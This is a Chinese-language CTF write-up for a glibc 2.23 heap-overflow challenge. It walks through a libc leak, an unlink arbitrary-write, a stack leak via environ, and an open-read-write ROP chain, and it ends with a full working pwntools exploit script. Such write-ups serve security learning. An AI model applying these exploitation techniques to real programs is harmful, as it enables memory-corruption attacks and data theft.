前言
经典的glibc2.23环境下的堆溢出,程序自带混淆,可以通过简单的黑盒测试确定程序的逻辑。禁掉了execev,可以在栈上构造orw,也可以通过栈迁移打orw。这里利用unlink进行任意地址读写,然后利用environ泄露栈地址,然后在栈上构造orw的ROP链。
黑盒测试
静态分析
通过静态分析可以发现,程序存在add、free、show、edit四个功能。
add:可以malloc大小为[0,0x1000]的堆块,conten并没有直接写进heap,而是放在大小为0x200的bss段中
free:正常free,有清零
show:正常
edit:可以发现edit的大小存放在bss段中
动态调试
可以发现,edit的大小与堆的大小没有关系,而是等于content的长度,因此可以堆溢出
泄露libc
有show,可以malloc smallbin,便可以泄露libc
1 2 3 4 5 6
| sl("name?","kangel") add(0x80,'0'*0x200) add(0x10,'1'*0x200) free(0) add(0x80,'0'*0x200) show(0)
|
unlink
有smallbin和堆溢出,可以构造unlink
1 2 3 4 5 6
| add(0x100,'2'*0x200) add(0x100,'3'*0x200) add(0x80,'4'*0x200) to_fake=0x6032e0+0x10 edit(2,p64(0)+p64(0x101)+p64(to_fake-0x18)+p64(to_fake-0x10)+'\x00'*0xe0+p64(0x100)+p64(0x110)) free(3)
|
堆布局如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| pwndbg> x/10gx 0x6032e0 0x6032e0: 0x0000000000db8010 0x0000000000db80a0 0x6032f0: 0x0000000000db80c0 0x0000000000db81d0 0x603300: 0x0000000000db82e0 0x0000000000000000 0x603310: 0x0000000000000000 0x0000000000000000 0x603320: 0x0000000000000000 0x0000000000000000 pwndbg> x/40gx 0x0000000000db80c0 0xdb80c0: 0x0000000000000000 0x0000000000000101 0xdb80d0: 0x00000000006032d8 0x00000000006032e0 0xdb80e0: 0x0000000000000000 0x0000000000000000 0xdb80f0: 0x0000000000000000 0x0000000000000000 0xdb8100: 0x0000000000000000 0x0000000000000000 0xdb8110: 0x0000000000000000 0x0000000000000000 0xdb8120: 0x0000000000000000 0x0000000000000000 0xdb8130: 0x0000000000000000 0x0000000000000000 0xdb8140: 0x0000000000000000 0x0000000000000000 0xdb8150: 0x0000000000000000 0x0000000000000000 0xdb8160: 0x0000000000000000 0x0000000000000000 0xdb8170: 0x0000000000000000 0x0000000000000000 0xdb8180: 0x0000000000000000 0x0000000000000000 0xdb8190: 0x0000000000000000 0x0000000000000000 0xdb81a0: 0x0000000000000000 0x0000000000000000 0xdb81b0: 0x0000000000000000 0x0000000000000000 0xdb81c0: 0x0000000000000100 0x0000000000000110 0xdb81d0: 0x0000000000000000 0x0000000000000000 0xdb81e0: 0x0000000000000000 0x0000000000000000 0xdb81f0: 0x0000000000000000 0x0000000000000000
|
条件:bck->FD + 0x18 = bck ; bck->BK + 0x10 = bck
效果:bck = *bck - 0x18
泄露栈地址
可以利用environ进行泄露
1 2 3 4 5 6
| environ=libc_base+libc.symbols['environ'] edit(2,p64(0)+p64(environ)) show(0) stack = u64(p.recv(6).ljust(8,'\x00')) log.success("stack:"+hex(stack)) rbp_addr=stack-0x228
|
计算environ与edit函数中rbp的差值,因为利用edit往栈中写入数据后直接进行rop
orw
直接往rbp中注入rop链即可
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from pwn import *
context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug' context.terminal = ['tmux','split','-h']
elf = ELF("./pwn") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = lambda x: p.recvuntil(x) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y: p.sendlineafter(x,y)
debug = 1 if debug: p = process("./pwn") else: print "remote"
def add(size,content): sl(">> ",str(1)) sl("______?\n",str(size)) s("yes_or_no?\n",content)
def free(idx): sl(">> ",str(2)) sl("index ?\n",str(idx))
def show(idx): sl(">> ",str(3)) sl("index ?\n",str(idx))
def edit(idx,content): sl(">> ",str(4)),0 sl("index ?\n",str(idx)) s("new_content ?\n",content)
def gd(): gdb.attach(p)
sl("name?","kangel") add(0x80,'0'*0x200) add(0x10,'1'*0x200) free(0) add(0x80,'0'*0x200) show(0) libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c4b78 log.success("libc_base:"+hex(libc_base)) add(0x100,'2'*0x200) add(0x100,'3'*0x200) add(0x80,'4'*0x200) to_fake=0x6032e0+0x10 edit(2,p64(0)+p64(0x101)+p64(to_fake-0x18)+p64(to_fake-0x10)+'\x00'*0xe0+p64(0x100)+p64(0x110)) free(3) environ=libc_base+libc.symbols['environ'] edit(2,p64(0)+p64(environ)) show(0) stack = u64(p.recv(6).ljust(8,'\x00')) log.success("stack:"+hex(stack)) rbp_addr=stack-0x228 edit(2,p64(0)+p64(rbp_addr)) prdi = 0x0000000000021102 prsi = 0x00000000000202e8 prdx = 0x0000000000001b92 prdi = libc_base + prdi prsi = libc_base + prsi prdx = libc_base + prdx open = libc_base + libc.symbols['open'] read = libc_base + libc.symbols['read'] write = libc_base + libc.symbols['write'] rop = './flag\x00\x00' rop += p64(prdi) rop += p64(rbp_addr) rop += p64(prsi) rop += p64(0) rop += p64(open) rop += p64(prdi) rop += p64(0x3) rop += p64(prsi) rop += p64(rbp_addr + 0x500) rop += p64(prdx) rop += p64(0x50) rop += p64(read) rop += p64(prdi) rop += p64(1) rop += p64(prsi) rop += p64(rbp_addr + 0x500) rop += p64(prdx) rop += p64(0x50) rop += p64(write)
gd() edit(0,rop) p.interactive()
|